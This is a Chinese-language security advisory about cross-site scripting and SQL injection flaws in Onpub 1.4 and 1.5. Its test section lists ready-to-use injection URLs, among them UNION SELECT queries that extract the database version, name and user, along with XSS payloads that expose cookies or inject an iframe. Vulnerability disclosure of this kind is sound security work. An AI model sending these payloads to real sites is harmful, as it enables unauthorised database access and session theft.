Onpub跨站脚本和SQL注入漏洞
发布日期：2013-10-26
更新日期：2013-10-29
受影响系统：
Onpub Onpub 1.5
Onpub Onpub 1.4
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 63361
Onpub是移动网站内容管理系统。
Onpub 1.4, 1,5及其他版本存在跨站脚本及多个SQL注入漏洞，攻击者可利用这些漏洞执行未授权数据库操作。
<*来源：Marcel Bernhardt
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
SQL-injection:
http://www.example.com/onpub/manage/index.php?onpub=EditWebsite&websiteID=-1%27[SQL-INJECTION
VULNERABILITY!]
http://www.example.com/onpub/manage/index.php?onpub=EditArticles&fullTextSearch=1&keywords=-1%27[SQL-INJECTION
VULNERABILITY!]
http://www.example.com/onpub/manage/index.php?onpub=EditWebsites&orderBy=-1%27[SQL-INJECTION
VULNERABILITY!]&order=ASC
http://www.example.com/onpub/manage/index.php?onpub=EditArticles&orderBy=title&order=[SQL-INJECTION
VULNERABILITY!]
http://www.example.com/onpub/manage/index.php?onpub=EditImage&imageID=2%27a[SQL-INJECTION
VULNERABILITY!]
http://www.example.com/onpub/manage/index.php?onpub=EditArticle&articleID=1%20[SQL-INJECTION
VULNERABILITY!]
http://www.example.com//index.php?onpub=EditWebsite&websiteID=-1 union
select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,@@version--
http://www.example.com//index.php?onpub=EditWebsite&websiteID=-1 union
select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,@@database--
http://www.example.com//index.php?onpub=EditWebsite&websiteID=-1 union
select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,@@user--
Cross-site scripting:
http://www.example.com/onpub/manage/index.php?onpub=EditImages&page=2%27%22%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/onpub/manage/index.php?onpub=EditImages&page=137%20>"<iframe%20src=http://www.vulnerability-lab.com>
建议：
--------------------------------------------------------------------------------
厂商补丁：
Onpub
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：